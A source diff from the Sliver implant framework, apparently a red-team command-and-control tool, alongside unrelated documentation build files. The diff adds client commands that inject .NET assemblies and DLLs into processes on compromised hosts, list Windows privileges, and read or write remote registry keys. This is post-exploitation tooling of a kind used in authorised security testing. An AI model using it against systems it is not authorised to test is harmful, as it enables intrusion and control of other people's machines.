+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if c.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveSession.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
+		if outFilePath != nil {
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if c.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  c.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}
+
+func init() {
+	commandMap = make(map[string]macro)
+}

client/command/privilege/getprivs.go

@@ -0,0 +1,109 @@
+package privilege
+
+import (
+	"context"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var processName string = "Current Process"
+
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	if session.OS != "windows" {
+		con.PrintErrorf("Command not supported on this operating system.")
+		return
+	}
+
+	privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
+		Request: con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Response is the Envelope (see RPC API), Err is part of it.
+	if privs.Response != nil && privs.Response.Err != "" {
+		con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
+		con.PrintErrorf("%s\n", privs.Response.Err)
+	}
+
+	if privs.PrivInfo == nil {
+		return
+	}
+
+	if privs.ProcessName != "" {
+		processName = privs.ProcessName
+	}
+
+	// To make things look pretty, figure out the longest name and description
+	// for column width
+	var nameColumnWidth int = 0
+	var descriptionColumnWidth int = 0
+	var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
+
+	for _, entry := range privs.PrivInfo {
+		if len(entry.Name) > nameColumnWidth {
+			nameColumnWidth = len(entry.Name)
+		}
+		if len(entry.Description) > descriptionColumnWidth {
+			descriptionColumnWidth = len(entry.Description)
+		}
+	}
+
+	// Give one more space
+	nameColumnWidth += 1
+	descriptionColumnWidth += 1
+
+	con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
+	con.Println(strings.Repeat("-", introWidth))
+	con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
+	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
+	for _, entry := range privs.PrivInfo {
+		con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
+		if entry.Enabled {
+			con.Printf("Enabled")
+		} else {
+			con.Printf("Disabled")
+		}
+		if entry.EnabledByDefault {
+			con.Printf(", Enabled by Default")
+		}
+		if entry.Removed {
+			con.Printf(", Removed")
+		}
+		if entry.UsedForAccess {
+			con.Printf(", Used for Access")
+		}
+		con.Printf("\n")
+	}
+}

client/command/registry/reg-create.go

@@ -49,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
 		Request:  con.ActiveSession.Request(ctx),

client/command/registry/reg-list.go

@@ -0,0 +1,77 @@
+package registry
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	path := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     path,
+		Request:  con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.Subkeys) > 0 {
+		con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
+	}
+	for _, subKey := range regList.Subkeys {
+		con.Println(subKey)
+	}
+}
+
+func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	regPath := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     regPath,
+		Request:  con.ActiveSession.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.ValueNames) > 0 {
+		con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
+	}
+	for _, val := range regList.ValueNames {
+		con.Println(val)
+	}
+}

client/command/registry/reg-read.go

@@ -72,6 +72,10 @@ func getType(t string) (uint32, error) {
 
 // RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
 func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		finalPath string
+		key       string
+	)
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You must provide a path")
 		return
 	}
+
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath = regPath[:pathBaseIdx]
+	key = regPath[pathBaseIdx+1:]
 	regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
 		Request:  con.ActiveSession.Request(ctx),

client/command/registry/reg-write.go

@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	switch valType {
 	case sliverpb.RegistryTypeBinary:
 		var (
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Request:     con.ActiveSession.Request(ctx),
 		Hostname:    hostname,
 		Hive:        hive,
-		Path:        regPath,
+		Path:        finalPath,
 		Type:        valType,
 		Key:         key,
 		StringValue: stringValue,

client/command/sessions/README.md

@@ -0,0 +1,4 @@
+Sessions
+=========
+
+Session related command implementations.

client/command/sessions/kill.go

@@ -4,12 +4,12 @@ import (
 	"context"
 	"errors"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
-	"gopkg.in/AlecAivazis/survey.v1"
 )
 
 // KillCmd - Kill the active session (not to be confused with TerminateCmd)

client/command/websites/websites-add-content.go

@@ -10,10 +10,10 @@ import (
 	"path"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
-	"gopkg.in/AlecAivazis/survey.v1"
 )
 
 // WebsitesAddContentCmd - Add static content to a website

client/console/console.go

@@ -95,6 +95,8 @@ type BindCmds func(console *SliverConsoleClient)
 // Start - Console entrypoint
 func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
 
+	assets.Setup(false, false)
+
 	con := &SliverConsoleClient{
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
@@ -199,7 +201,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveSession.Set(nil)
 				con.App.SetPrompt(con.GetPrompt())
-				con.Printf(Warn + " Active session disconnected\n")
+				con.Printf(Warn + "Active session disconnected\n")
 			}
 			con.Println()
 		}

client/constants/constants.go

@@ -115,6 +115,7 @@ const (
 	UnsetStr  = "unset"
 	SaveStr   = "save"
 	ReloadStr = "reload"
+	LoadStr   = "load"
 
 	LootStr       = "loot"
 	LootLocalStr  = "local"
@@ -174,7 +175,8 @@ const (
 	MigrateStr          = "migrate"
 	SideloadStr         = "sideload"
 	SpawnDllStr         = "spawndll"
-	LoadExtensionStr    = "load-extension"
+	ExtensionStr        = "extension"
+	LoadMacroStr        = "load-macro"
 	StageListenerStr    = "stage-listener"
 
 	WebsitesStr       = "websites"
@@ -199,12 +201,18 @@ const (
 	WgPortFwdStr          = "wg-portfwd"
 	MonitorStr            = "monitor"
 	SSHStr                = "ssh"
+	DLLHijackStr          = "dllhijack"
 
 	PortfwdStr = "portfwd"
 
 	ReactionStr = "reaction"
 
+	HostsStr = "hosts"
+	IOCStr   = "ioc"
+
 	LicensesStr = "licenses"
+
+	GetPrivsStr = "getprivs"
 )
 
 // Groups
@@ -213,5 +221,6 @@ const (
 	SliverHelpGroup      = "Sliver:"
 	SliverWinHelpGroup   = "Sliver - Windows:"
 	MultiplayerHelpGroup = "Multiplayer:"
+	MacroHelpGroup       = "Sliver - 3rd Party macros:"
 	ExtensionHelpGroup   = "Sliver - 3rd Party extensions:"
 )

client/core/tunnel.go

@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
 	case data := <-tun.Recv:
 		log.Printf("Read %d bytes", len(data))
 		buff.Write(data)
-	default:
-		break
 	}
 	n := copy(data, buff.Bytes())
 	return n, nil

client/licenses/licenses.go

@@ -149,48 +149,48 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
-// Copyright (c) 2009 The XGB Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-//    * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-//    * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-//    * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-//
-// Subject to the terms and conditions of this License, Google hereby
-// grants to You a perpetual, worldwide, non-exclusive, no-charge,
-// royalty-free, irrevocable (except as stated in this section) patent
-// license to make, have made, use, offer to sell, sell, import, and
-// otherwise transfer this implementation of XGB, where such license
-// applies only to those patent claims licensable by Google that are
-// necessarily infringed by use of this implementation of XGB. If You
-// institute patent litigation against any entity (including a
-// cross-claim or counterclaim in a lawsuit) alleging that this
-// implementation of XGB or a Contribution incorporated within this
-// implementation of XGB constitutes direct or contributory patent
-// infringement, then any patent licenses granted to You under this
-// License for this implementation of XGB shall terminate as of the date
-// such litigation is filed.
+Copyright (c) 2009 The XGB Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Subject to the terms and conditions of this License, Google hereby
+grants to You a perpetual, worldwide, non-exclusive, no-charge,
+royalty-free, irrevocable (except as stated in this section) patent
+license to make, have made, use, offer to sell, sell, import, and
+otherwise transfer this implementation of XGB, where such license
+applies only to those patent claims licensable by Google that are
+necessarily infringed by use of this implementation of XGB. If You
+institute patent litigation against any entity (including a
+cross-claim or counterclaim in a lawsuit) alleging that this
+implementation of XGB or a Contribution incorporated within this
+implementation of XGB constitutes direct or contributory patent
+infringement, then any patent licenses granted to You under this
+License for this implementation of XGB shall terminate as of the date
+such litigation is filed.
 
 ======================================================================================================
 
@@ -241,6 +241,7 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 SOFTWARE.
 
 ======================================================================================================
+
 Copyright 2017 Google Inc.
 
 Licensed under the Apache License, Version 2.0 (the "License");

docs/.gitignore

@@ -0,0 +1,3 @@
+_site
+.sass-cache
+.jekyll-metadata

docs/404.html

@@ -0,0 +1,24 @@
+---
+layout: default
+---
+
+<style type="text/css" media="screen">
+  .container {
+    margin: 10px auto;
+    max-width: 600px;
+    text-align: center;
+  }
+  h1 {
+    margin: 30px 0;
+    font-size: 4em;
+    line-height: 1;
+    letter-spacing: -1px;
+  }
+</style>
+
+<div class="container">
+  <h1>404</h1>
+
+  <p><strong>Page not found :(</strong></p>
+  <p>The requested page could not be found.</p>
+</div>

docs/Gemfile

@@ -0,0 +1,39 @@
+source "https://rubygems.org"
+
+# Hello! This is where you manage which Jekyll version is used to run.
+# When you want to use a different version, change it below, save the
+# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
+#
+#     bundle exec jekyll serve
+#
+# This will help ensure the proper Jekyll version is running.
+# Happy Jekylling!
+gem "jekyll", "~> 3.9.0"
+
+# This is the default theme for new Jekyll sites. You may change this to anything you like.
+# gem "minima", "~> 2.0"
+gem "github-pages", group: :jekyll_plugins
+
+# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
+# uncomment the line below. To upgrade, run `bundle update github-pages`.
+# gem "github-pages", group: :jekyll_plugins
+
+# If you have any plugins, put them here!
+group :jekyll_plugins do
+  gem "jekyll-feed", "~> 0.6"
+end
+
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+# and associated library.
+install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
+  gem "tzinfo", "~> 1.2"
+  gem "tzinfo-data"
+end
+
+# Performance-booster for watching directories on Windows
+gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
+
+# kramdown v2 ships without the gfm parser by default. If you're using
+# kramdown v1, comment out this line.
+gem "kramdown-parser-gfm"
+

docs/Gemfile.lock

@@ -0,0 +1,286 @@
+GEM
+  remote: https://rubygems.org/
+  specs:
+    activesupport (6.0.4)
+      concurrent-ruby (~> 1.0, >= 1.0.2)
+      i18n (>= 0.7, < 2)
+      minitest (~> 5.1)
+      tzinfo (~> 1.1)
+      zeitwerk (~> 2.2, >= 2.2.2)
+    addressable (2.8.0)
+      public_suffix (>= 2.0.2, < 5.0)
+    coffee-script (2.4.1)
+      coffee-script-source
+      execjs
+    coffee-script-source (1.11.1)
+    colorator (1.1.0)
+    commonmarker (0.17.13)
+      ruby-enum (~> 0.5)
+    concurrent-ruby (1.1.9)
+    dnsruby (1.61.7)
+      simpleidn (~> 0.1)
+    em-websocket (0.5.2)
+      eventmachine (>= 0.12.9)
+      http_parser.rb (~> 0.6.0)
+    ethon (0.14.0)
+      ffi (>= 1.15.0)
+    eventmachine (1.2.7)
+    execjs (2.8.1)
+    faraday (1.5.0)
+      faraday-em_http (~> 1.0)
+      faraday-em_synchrony (~> 1.0)
+      faraday-excon (~> 1.1)
+      faraday-httpclient (~> 1.0.1)
+      faraday-net_http (~> 1.0)
+      faraday-net_http_persistent (~> 1.1)
+      faraday-patron (~> 1.0)
+      multipart-post (>= 1.2, < 3)
+      ruby2_keywords (>= 0.0.4)
+    faraday-em_http (1.0.0)
+    faraday-em_synchrony (1.0.0)
+    faraday-excon (1.1.0)
+    faraday-httpclient (1.0.1)
+    faraday-net_http (1.0.1)
+    faraday-net_http_persistent (1.1.0)
+    faraday-patron (1.0.0)
+    ffi (1.15.3)
+    forwardable-extended (2.6.0)
+    gemoji (3.0.1)
+    github-pages (215)
+      github-pages-health-check (= 1.17.2)
+      jekyll (= 3.9.0)
+      jekyll-avatar (= 0.7.0)
+      jekyll-coffeescript (= 1.1.1)
+      jekyll-commonmark-ghpages (= 0.1.6)
+      jekyll-default-layout (= 0.1.4)
+      jekyll-feed (= 0.15.1)
+      jekyll-gist (= 1.5.0)
+      jekyll-github-metadata (= 2.13.0)
+      jekyll-mentions (= 1.6.0)
+      jekyll-optional-front-matter (= 0.3.2)
+      jekyll-paginate (= 1.1.0)
+      jekyll-readme-index (= 0.3.0)
+      jekyll-redirect-from (= 0.16.0)
+      jekyll-relative-links (= 0.6.1)
+      jekyll-remote-theme (= 0.4.3)
+      jekyll-sass-converter (= 1.5.2)
+      jekyll-seo-tag (= 2.7.1)
+      jekyll-sitemap (= 1.4.0)
+      jekyll-swiss (= 1.0.0)
+      jekyll-theme-architect (= 0.1.1)
+      jekyll-theme-cayman (= 0.1.1)
+      jekyll-theme-dinky (= 0.1.1)
+      jekyll-theme-hacker (= 0.1.2)
+      jekyll-theme-leap-day (= 0.1.1)
+      jekyll-theme-merlot (= 0.1.1)
+      jekyll-theme-midnight (= 0.1.1)
+      jekyll-theme-minimal (= 0.1.1)
+      jekyll-theme-modernist (= 0.1.1)
+      jekyll-theme-primer (= 0.5.4)
+      jekyll-theme-slate (= 0.1.1)
+      jekyll-theme-tactile (= 0.1.1)
+      jekyll-theme-time-machine (= 0.1.1)
+      jekyll-titles-from-headings (= 0.5.3)
+      jemoji (= 0.12.0)
+      kramdown (= 2.3.1)
+      kramdown-parser-gfm (= 1.1.0)
+      liquid (= 4.0.3)
+      mercenary (~> 0.3)
+      minima (= 2.5.1)
+      nokogiri (>= 1.10.4, < 2.0)
+      rouge (= 3.26.0)
+      terminal-table (~> 1.4)
+    github-pages-health-check (1.17.2)
+      addressable (~> 2.3)
+      dnsruby (~> 1.60)
+      octokit (~> 4.0)
+      public_suffix (>= 2.0.2, < 5.0)
+      typhoeus (~> 1.3)
+    html-pipeline (2.14.0)
+      activesupport (>= 2)
+      nokogiri (>= 1.4)
+    http_parser.rb (0.6.0)
+    i18n (0.9.5)
+      concurrent-ruby (~> 1.0)
+    jekyll (3.9.0)
+      addressable (~> 2.4)
+      colorator (~> 1.0)
+      em-websocket (~> 0.5)
+      i18n (~> 0.7)
+      jekyll-sass-converter (~> 1.0)
+      jekyll-watch (~> 2.0)
+      kramdown (>= 1.17, < 3)
+      liquid (~> 4.0)
+      mercenary (~> 0.3.3)
+      pathutil (~> 0.9)
+      rouge (>= 1.7, < 4)
+      safe_yaml (~> 1.0)
+    jekyll-avatar (0.7.0)
+      jekyll (>= 3.0, < 5.0)
+    jekyll-coffeescript (1.1.1)
+      coffee-script (~> 2.2)
+      coffee-script-source (~> 1.11.1)
+    jekyll-commonmark (1.3.1)
+      commonmarker (~> 0.14)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-commonmark-ghpages (0.1.6)
+      commonmarker (~> 0.17.6)
+      jekyll-commonmark (~> 1.2)
+      rouge (>= 2.0, < 4.0)
+    jekyll-default-layout (0.1.4)
+      jekyll (~> 3.0)
+    jekyll-feed (0.15.1)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-gist (1.5.0)
+      octokit (~> 4.2)
+    jekyll-github-metadata (2.13.0)
+      jekyll (>= 3.4, < 5.0)
+      octokit (~> 4.0, != 4.4.0)
+    jekyll-mentions (1.6.0)
+      html-pipeline (~> 2.3)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-optional-front-matter (0.3.2)
+      jekyll (>= 3.0, < 5.0)
+    jekyll-paginate (1.1.0)
+    jekyll-readme-index (0.3.0)
+      jekyll (>= 3.0, < 5.0)
+    jekyll-redirect-from (0.16.0)
+      jekyll (>= 3.3, < 5.0)
+    jekyll-relative-links (0.6.1)
+      jekyll (>= 3.3, < 5.0)
+    jekyll-remote-theme (0.4.3)
+      addressable (~> 2.0)
+      jekyll (>= 3.5, < 5.0)
+      jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
+      rubyzip (>= 1.3.0, < 3.0)
+    jekyll-sass-converter (1.5.2)
+      sass (~> 3.4)
+    jekyll-seo-tag (2.7.1)
+      jekyll (>= 3.8, < 5.0)
+    jekyll-sitemap (1.4.0)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-swiss (1.0.0)
+    jekyll-theme-architect (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-cayman (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-dinky (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-hacker (0.1.2)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-leap-day (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-merlot (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-midnight (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-minimal (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-modernist (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-primer (0.5.4)
+      jekyll (> 3.5, < 5.0)
+      jekyll-github-metadata (~> 2.9)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-slate (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-tactile (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-time-machine (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-titles-from-headings (0.5.3)
+      jekyll (>= 3.3, < 5.0)
+    jekyll-watch (2.2.1)
+      listen (~> 3.0)
+    jemoji (0.12.0)
+      gemoji (~> 3.0)
+      html-pipeline (~> 2.2)
+      jekyll (>= 3.0, < 5.0)
+    kramdown (2.3.1)
+      rexml
+    kramdown-parser-gfm (1.1.0)
+      kramdown (~> 2.0)
+    liquid (4.0.3)
+    listen (3.5.1)
+      rb-fsevent (~> 0.10, >= 0.10.3)
